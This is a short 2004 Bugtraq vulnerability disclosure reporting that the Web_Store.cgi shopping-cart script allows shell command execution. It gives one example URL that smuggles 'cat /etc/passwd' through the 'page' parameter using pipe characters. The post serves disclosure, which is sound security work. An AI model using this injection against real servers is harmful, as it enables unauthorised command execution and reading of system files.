[35764] in bugtraq
Web_Store.cgi allows Command Execution
daemon@ATHENA.MIT.EDU (Zero_X www.lobnan.de Team)
Sat Jul 17 13:50:57 2004
Date: 17 Jul 2004 15:05:15 -0000
Message-ID: <20040717150515.12592.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: "Zero_X www.lobnan.de Team" <zero-x@linuxmail.org>
To: bugtraq@securityfocus.com
Web_Store.cgi allows Command Execution:
This application was written by Selena Sol and Gunther Birznieks.
You can execute shellcommands:
http://www.victim.com/cgi-bin/web_store.cgi?page=.html|cat /etc/passwd|
Zero X, member of www.Lobnan.de and www.Lostkey.org
